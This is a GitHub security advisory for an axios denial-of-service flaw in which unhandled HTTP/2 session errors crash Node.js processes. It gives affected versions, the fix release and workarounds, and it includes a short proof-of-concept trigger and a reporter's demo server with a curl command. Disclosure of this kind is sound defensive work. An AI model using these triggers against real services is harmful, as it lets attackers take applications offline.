GHSA-542G-H47M-68V8
Vulnerability from github – Published: 2026-09-30 15:01 – Updated: 2026-09-30 15:01Summary
Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.
This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.
Impact
The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.
This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.
Affected Functionality
Affected path:
- Node.js HTTP adapter
- httpVersion: 2
- HTTP/2 session creation/reuse through Http2Sessions
- Network/session failures emitted as ClientHttp2Session error events
Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.
Technical Details
Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.
When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.
Proof of Concept of Attack
import axios from './index.js';
await axios.get('http://127.0.0.1:1/', {
httpVersion: 2,
timeout: 1000
});
Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.
Workarounds
Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.
Original report
Hi, i'm RelunSec a security researcher working with **InsiteTech.jp** i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a serverconst http = require('http');
// Import the local axios version to ensure the patch is active
const axios = require('../../lib/axios.js').default;
const url = require('url');
// A public HTTP/2 server to make internal requests to.
// This simulates an external service your application might interact with over HTTP/2.
const TARGET_URL = 'https://nghttp2.org/';
const PORT = 3000;
const server = http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const http2optionId = parsedUrl.query.http2optionId;
if (!http2optionId) {
console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);
res.writeHead(400, { 'Content-Type': 'text/plain' });
res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n');
return;
}
console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);
// Create an Axios instance configured for HTTP/2
// The 'id' in http2Options makes each session configuration unique.
const axiosInstance = axios.create({
baseURL: TARGET_URL,
httpVersion: 2,
http2Options: {
// rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert
id: http2optionId, // This is the attacker-controlled unique part
},
// Adding a short timeout to prevent attacker from waiting too long if target is slow
timeout: 5000
});
try {
const response = await axiosInstance.get('/');
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}`);
} catch (error) {
// Check for the specific error indicating session limit reached
if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {
console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
} else {
console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);
}
}
});
server.listen(PORT, () => {
console.log(`PoC Server listening on http://localhost:${PORT}`);
console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);
console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);
console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);
});
i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do
relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi
curl: (52) Empty reply from server
that is extremly simple to trigger
it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101901"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:01:07Z",
"nvd_published_at": "2026-09-28T18:17:18Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios versions with Node.js HTTP/2 support can terminate the caller\u2019s process when a ClientHttp2Session emits an error event that is not handled by axios.\n\nThis affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.\n\n## Impact\n\nThe impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.\n\nThis does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.\n\n## Affected Functionality\n\nAffected path:\n\n- Node.js HTTP adapter\n- httpVersion: 2\n- HTTP/2 session creation/reuse through Http2Sessions\n- Network/session failures emitted as ClientHttp2Session error events\n\nCaller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.\n\n## Technical Details\n\nHttp2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.\n\nWhen the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.\n\n## Proof of Concept of Attack\n```js\nimport axios from \u0027./index.js\u0027;\n\nawait axios.get(\u0027http://127.0.0.1:1/\u0027, {\n httpVersion: 2,\n timeout: 1000\n});\n```\n\nExpected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.\n\n## Workarounds\n\nDisable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.\n\n\u003cdetails\u003e\n \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n \nHi, i\u0027m RelunSec a security researcher working with **InsiteTech.jp**\n\ni want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server\n\n```js\nconst http = require(\u0027http\u0027);\n// Import the local axios version to ensure the patch is active\nconst axios = require(\u0027../../lib/axios.js\u0027).default; \nconst url = require(\u0027url\u0027);\n\n// A public HTTP/2 server to make internal requests to.\n// This simulates an external service your application might interact with over HTTP/2.\nconst TARGET_URL = \u0027https://nghttp2.org/\u0027; \nconst PORT = 3000;\n\nconst server = http.createServer(async (req, res) =\u003e {\n const parsedUrl = url.parse(req.url, true);\n const http2optionId = parsedUrl.query.http2optionId;\n\n if (!http2optionId) {\n console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);\n res.writeHead(400, { \u0027Content-Type\u0027: \u0027text/plain\u0027 });\n res.end(\u0027Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\\n\u0027);\n return; \n}\n\n console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);\n\n // Create an Axios instance configured for HTTP/2\n // The \u0027id\u0027 in http2Options makes each session configuration unique.\n const axiosInstance = axios.create({\n baseURL: TARGET_URL,\n httpVersion: 2,\n http2Options: {\n // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert\n id: http2optionId, // This is the attacker-controlled unique part\n },\n // Adding a short timeout to prevent attacker from waiting too long if target is slow\n timeout: 5000 \n });\n\n try {\n const response = await axiosInstance.get(\u0027/\u0027);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027text/plain\u0027 });\n res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\\nStatus: ${response.status}`);\n } catch (error) {\n // Check for the specific error indicating session limit reached\n if (error.isAxiosError \u0026\u0026 error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {\n console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n res.writeHead(500, { \u0027Content-Type\u0027: \u0027text/plain\u0027 });\n res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n } else {\n console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);\n res.writeHead(500, { \u0027Content-Type\u0027: \u0027text/plain\u0027 });\n res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);\n }\n }\n});\n\nserver.listen(PORT, () =\u003e {\n console.log(`PoC Server listening on http://localhost:${PORT}`);\n console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);\n console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);\n console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);\n});\n```\n\ni tested all that in latest git version, after starting the server.cjs, to trigger that you just need do\n\n```rust\nrelunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi\ncurl: (52) Empty reply from server\n```\n\nthat is extremly simple to trigger\n\nit confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash\n\u003c/details\u003e\n\n---",
"id": "GHSA-542g-h47m-68v8",
"modified": "2026-09-30T15:01:07Z",
"published": "2026-09-30T15:01:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101901"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Denial of Service via Unhandled \u0027error\u0027 Event in HTTP/2 ClientHttp2Session Initialization"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.